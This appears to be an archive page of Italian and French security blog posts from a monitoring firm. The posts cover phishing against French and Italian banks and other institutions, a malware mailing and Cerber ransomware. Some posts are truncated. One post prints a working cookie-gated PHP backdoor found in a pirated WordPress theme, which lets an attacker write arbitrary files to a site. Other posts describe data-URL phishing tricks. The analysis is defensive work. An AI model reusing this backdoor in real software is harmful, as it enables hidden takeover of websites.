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Phishing a danno del Gruppo Crédit Mutuel
PhishingCrédit Mutuel è uno dei principali gruppi bancari francesi, partecipato diversi altri istituti e gruppi bancari.
La presenza di più istituti bancari in un unico gruppo, che fanno magari uso della medesima piattaforma di internet banking, consente ai phisher più agguerriti di realizzare campagne di phishing volte a colpire con l’invio di una singola mail i correntisti dei vari istituti facenti parte del gruppo.
Il monitoraggio odierno ha permesso di rilevare nella prime ore della notte un caso di phishing che sfruttando tale schema va ad impattare sui clienti di
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Phishing aux dépens de la Sécurité Sociale française
Non categorizzato, Non classifié(e)En France la Sécurité Sociale est divisée en trois secteurs principaux:
gérée par trois différentes institutions:
En effectuant le monitorage du phishing international, le D3Lab a relevé, à partir de 2013, un intérêt des criminels pour la Caisse Nationale des Allocations Familiales,
Phishing a danno delle Casse di previdenza francesi
PhishingIn Francia la previdenza sociale è suddivisa in tre settori principali:
gestiti da tre differenti enti:
Monitorando il phishing internazionale D3Lab aveva rilevato sin dal 2013 l’interesse dei criminali per la Caisse nationale des allocations familiales,
Tema WordPress Warez e Backdoor con autenticazione via Cookie
PhishingÈ ormai una notizia nota che i Temi o i Plugin di WordPress scaricati in maniera illegale, senza corrispondere il corretto compenso allo sviluppatore, contengano spesso Backdoor o Shell nascoste pronte per essere sfruttate per accedere al sito. Nonostante ciò la diffusione di tale materiale è ancora elevata e non mancano certamente gli utilizzatori che pur di risparmiare qualche euro mettano a repentaglio la sicurezza dei propri siti.
La scorsa settimana un sito internet Australiano è stato attaccato e sfruttato per diffondere Phishing ai danni di CartaSi. In collaborazione con il provider abbiamo analizzato il sito web e i relativi LOG per permettergli di contrastare l’accesso abusivo al dominio. Fin da subito abbiamo identificato l’utilizzo di un tema commerciale probabilmente scaricato da siti warez, vista la presenza del file: MafiaShare.net.txt nella directory del tema.
Successivamente analizzando tutti i file che compongono il tema abbiamo rilevato una backdoord nascosta utilizzabile solo a seguito di autenticazione, realizzata attraverso la lettura di Cookie. La backdoor scritta in PHP permette ad un utente malevolo di scrivere nuovi file sulla spazio web con contenuto arbitrario.
Il file in analisi, che vedete nell’immagine di apertura, è così composto:
/* Plugin Name: [OMESSO] Description: A plugin that show posts in column, featured image suported. Responsive supported. Version: 1.0 Author: [OMESSO] Author URI: http://www.[OMESSO].com/ */ <?php $trenz=$_COOKIE['cookie_name']; $jban1=$_POST["jban1"]; $jban2=$_POST["jban2"]; $wp_editer=$_POST["wp_editer"]; $jban3=$_POST["jban3"]; if ((isset($trenz)) and ($trenz=="mypassword") and (isset($jban1))) { $wp_hasher= $wp_editer($jban1,$jban2); $jban3=stripslashes($jban3); fwrite ($wp_hasher,$jban3); } if ((isset($trenz)) and ($trenz=="test")) { echo "Testing"; } ?>Accedendo al fine senza inviare alcuna richiesta POST apparirà la porzione di testo commentata, poiché non correttamente indentato, che fa presupporre la legittimità del file. Ma realmente il file permette di creare nuovi file dal contenuto ed estensione arbitrarie. Per far ciò è però fondamentale creare un Cookie denominato cookie_name contenente il valore mypassword, il precedente script identifica tale cookie e se presente proseguirà nella lavorazione dei parametri POST passati. Parametri che conterranno il nome del file e il suo contenuto.
Quando si sviluppa un sito Internet in WordPress, ma non solo, è quindi fondamentale utilizzare Temi o Plugin distribuiti dai canali ufficiali acquistando ove necessario le relative licenze.
Phishing aux dépens d’Orange FR
Non categorizzato, Non classifié(e)L’activité de monitorage au niveau international a permis au D3Lab de relever de nombreuses attaques de phishing aux dépens d’Orange S.A., la plus grande société de télécommunications française opérant dans le domaine de la téléphonie mobile fixe et comme fournisseur d’accès Internet, une des principales entreprises mondiale dans ce secteur.
On relève une augmentation considérable des attaques gérées depuis 2014, notamment cette année, où on compte 412 cas avérés jusqu’à aujourd’hui.
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Phishing a danno di Orange FR
PhishingL’attività di monitoraggio a livello internazionale ha consentito a D3Lab di rilevare numerosi attacchi di phishing a danno di Orange S.A., la maggior società di telecomunicazioni francese operante nel campo della telefonia mobile, fissa e quale internet service provider, una delle principali aziende mondali del settore.
Gli attacchi gestiti dal 2014 rilevano un notevole incremento soprattutto quest’anno con 412 casi acquisiti sino ad oggi.
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Phishing ai danni di Santander Consumer Bank
Non categorizzatoIl Banco Santander è un gruppo bancario di origine spagnola operante principalmente in Spagna ed in Sud America. Tale gruppo risulta tuttavia operante anche in altri paesi europei come Germania ed Italia dove è presente come Santander Consumer Bank (per essere precisi in Germania come Santander Consumer Bank AG).
Durante la notte, svolgendo l’analisi di un caso di phishing a danno di clienti D3Lab abbiamo individuato sul medesimo host, realizzati con le medesime modalità, altri due siti clone relativi a Banca Popolare di Spoleto (Phishing ai danni della Banca Popolare di Spoleto) ed a Santander Consumer Bank, ramo italiano del gruppo spagnolo.
si tratta in entrambi i casi di enti che in base ai rilievi D3Lab non erano ancora stati aggrediti dai criminali, almeno non in tempi recenti.
La modalità con cui l’attacco è strutturato è piuttosto insidiosa in quanto consente ai criminali, sfruttando il tag meta del codice html, di visualizzare nella barra degli indirizzi del browser un url
posticcio, che può essere fatto coincidere con l’effettivo url del portale di internet banking dell’istituto al fine di potenziare l’inganno ai danno delle potenziali vittime che potrebbero non far caso alla dicitura data:text/html: che precede l’indicazione del corretto protocollo https o http nel caso di uso di frame da parte degli istituti.
Lo screenshot di apertura, che evidenzia con colori questa particolarità del testo visibile nella barra degli indirizzi, mostra come i criminali siano interessati ai dati di accesso all’account di internet banking: nella prima pagina fraudolenta infatti richiedono il codice utente, lo user name, ed i caratteri 1, 2, 5, 7 e 10 della password. Inviati tali dati a pagine php residenti in altro host compromesso gli uetenti visualizzano una seconda pagina fraudolenta in cui oltre al
codice utente (già richiestogli) devo inserire i caratteri 3, 4, 6,8 e 9 della password, asteriscati nella prima richiesta, fornendo così ai criminali, con questo secondo inserimento di dati, tutti e 10 i caratteri della password.
Non ci è dato sapere se tali informazioni siano sufficienti ai criminali per disporre operazioni, ma anche non lo fossero il solo fatto che abbiano investito tempo e risorse nella realizzazione del kit lascerebbe ipotizzare che grazie alle informazioni che potrebbero carpire dall’account utente sia per loro possibile avviare per passi successivi ulteriori azioni fraudolente, magari con contatti telefonici nei confronti delle vittime.
Si raccomanda agli utenti la massima attenzione.
Phishing ai danni della Banca Popolare di Spoleto
PhishingDurante l’analisi notturna abbiamo individuato un nuovo ente coinvolto nel Phishing, la Banca Popolare di Spoleto appartenente al Gruppo Banco Desio è un nuovo target per i Phisher e per i relativi cliente della banca.
Il kit sfrutta la codifica base64 per offuscare il sito internet utilizzato per diffondere il Phishing, l’utente riceve una eMail contenete uno short-link che rimanda ad una pagina PHP caricata su un sito compromesso tale pagina inoltrerà nuovamente l’utente ad una pagina locale generata sfruttando la capacità dei recenti browser di visualizzare e decodificare una pagina html in base64. Come è possibile notare nell’immagine di apertura nella barra dell’indirizzo non è presente un normale URL ma una porzione della stringa che genera la pagina HTML locale, per offuscare ulteriormente il tentativo di Phishing la stringa riporta inizialmente https://ihb2.cedaci.it/… che è effettivamente il sito legittimo del homebanking.
Invitiamo come di consueto gli utenti alla massima attenzione quando ricevono eMail di richiesta convalida credenziali.
Diffusione Malware da account eMail della Zecca dello Stato
MalwareL’Infografica in apertura riepiloga quanto rilevato durante il monitoraggio quotidiano della diffusione del Phishing e Malware, in data 6 Settembre 2016 è avvenuto un tentativo di diffusione malware sfruttando un legittimo account eMail dell’Istituto Poligrafico e Zecca dello Stato e i suoi server mail. L’eMail richiedeva all’utente il pagamento di una fattura arretrata indicando che poteva visualizzare tutti i dettagli nel file allegato.
Fortunatamente è intervenuto il server eMail della Zecca dello Stato che ha rilevato l’invio di un contenuto malevolo, procedendo quindi a “troncare” l’archivio impedendo la diffusione del file Roma-Consulting.wsf che probabilmente avrebbe effettuato il download di un eseguibile ed eseguito. Nonostante il vano tentativo, gli aggressori potrebbero cambiare il metodo di diffusione per aggirare i controlli del server eMail; basti pensare alla richiesta di visitare un sito internet contenente un eseguibile (per esempio abbiamo visto sfruttare questa tecnica ai danni di GLS) piuttosto che allegarlo.
La nostra attenzione è ricaduta sul server sfruttato per inviare l’eMail, falsificare il mittente di una eMail è notoriamente facile ma se la mail e il server mittente coincide con il dominio della mail vi sono soltanto due possibili spiegazioni. Hanno violato il server o hanno violato l’account. Dal medesimo server eMail non abbiamo ricevuto nessun altro genere di comunicazione malevola (phishing, spam, ecc) e pertanto la nostra attenzione si è soffermata sulla seconda ipotesi.
Nascono ora due distinte possibilità di attacco, la vittima è stata infettata da un Trojan che ha provveduto ad inviare le Mail a sua insaputa o a diffondere la password del suo account. Oppure l’utente ha sfruttato la stessa password dell’account aziendale anche per altri servizi. Negli ultimi mesi nel Deep Web, ma non solo, si stanno diffondendo importanti archivi di password e account provenienti dai più noti portali online, Linkedin è probabilmente l’esempio più lampante ma non scordiamoci di DropBox, Trenitalia, Badoo, MySpace e mentre scriviamo questo articolo anche la più utilizzata eMail Italiana, Libero, ha comunicato che il suo database è stato violato.
Abbiamo verificato nel Database di Linkedin e come è possibile visualizzare dall’Infografia la casella eMail sfruttata per inviare il malware è presente e anche la sua relativa password, oltre ad essa sono presenti altre 46 caselle della Zecca dello Stato.
È quindi possibile che l’utente in questione sfrutti la medesima password per accedere alla Casella di Posta Elettronica della Zecca dello Stato sia su Linkedin, gli attaccanti hanno sfruttato questa debolezza per inviare diverse eMail da un mail server autorevole.
Attività insolita dell’account Microsoft? No, è il Cerber Ransomware!
MalwareNegli ultimi giorni sono state inviate diverse eMail che avvisano l’utente nella presenza di una attività sospetta sul proprio account Microsoft, precisando che è stato eseguito un accesso il giorno 4 Settembre alle ore 12:37 GMT dalla Francia e da un utente avente l’indirizzo IP 6.2.794.8. Infine l’utente viene avvisato di controllare i propri ultimi accessi e se non riconosce l’accesso dalla Francia di aprire il documento allegato per ottenere informazioni in merito.
Il file allegato in formato ZIP viene generato con un nome casuale, ma al suo interno contiene un altro ZIP denominato 28781.zip che a sua volta contiene il file JavaScript 28781.jse. Quest’ultimo file ha il compito di effettuare il download del malware ed eseguirlo.
Analisi eMail
A prima vista è possibile determinare due errori nella stesura della eMail che chiaramente confermano la finta comunicazione. Innanzitutto il giorno 4 Settembre 2016 non era un Sabato come riportato nell’abbreviazione Inglese ma una domenica e quindi la corretta dicitura doveva essere “Sun, 04 Sep 2016…” inoltre l’indirizzo IP riportato non corrisponde allo standard per il protocollo IPv4. Un indirizzo IPv4 è composto da 4 numeri, ciascuno tra 0 e 255 mentre nella eMail è indicato il numero 794.
Infine la comunicazione arriva da un account Gmail (Google) che non ha certamente niente a che vedere con Microsoft, essendo due aziende concorrenti.
Analisi Malware
Il file JavaScript allegato avviandolo esegue il download del virus attraverso il dominio zapodewac.top tale sito è stato registrato in data 31 Agosto 2016 da Dudenkov Denis residente nella città russa Vladivostok. Un estratto del whois:
Continuando l’analisi del dominio rileviamo la presenza di diversi file che riconducono la presenza di un possibile pannello di controllo:
Accedendo ai cinque diversi file PHP non si ottiene alcuna risposta, probabilmente per attivare le pagine bisogna passarli tramite chiamata GET o POST una password. È un metodo comunemente sfruttato per “nascondere” le web-shell o i mailer per inviare Phishing.
È probabile che il file admin.php permetta al criminale di accedere ad un proprio pannello di amministrazione, il file allert.php come spesso vediamo nel mondo del Phishing di avvisare l’attaccante della presenza di una nuova vittima, il file log.php di memorizzare i log di accesso, il report.php di generare report sugli accessi e relative informazioni sugli utenti e infine il file support.php che probabilmente permette di personalizzare la procedura di decifrazione per l’utente. Infine la presenza di PHPMyAdmin fa pensare che viene usato un database SQL per memorizzare i dati raccolti.
Effettuato il download del file eseguibile lo script JavaScript procede ad eseguirlo, esecuzione che cifrerà tutti i file presenti sulla Home Directory dell’utente impedendogli l’accesso salvo il pagamento di un riscatto pari a 1Bitcoin se l’acquisto viene fatto entro 5 giorni alternativamente il prezzo salirà a 2 Bitcoin. Al cambio odierno 1 Bitcoin corrisponde a quasi 550euro.
Il Ransomware a conferma che la decifrazione dei dati sia possibile permette di decifrare gratuitamente un file a propria scelta, della dimensione massima di 3Mb. Eseguendo tale procedura l’utente sceglierà il file da caricare e il sistema restituirà un archivio zippato contenente il file decifrato.
Al momento della stesura dell’articolo, ovvero dopo 3 giorni dalla diffusione del malware, solo il 30% degli antivirus commerciali riconoscono la minaccia secondo il report di VirusTotal.
Concludiamo con una galleria di screenshot del Malware in esecuzione su una nostra macchina di laboratorio.
Questo slideshow richiede JavaScript.
Invitiamo gli utenti alla massima attenzione prima di aprire ogni allegato presente in una eMail.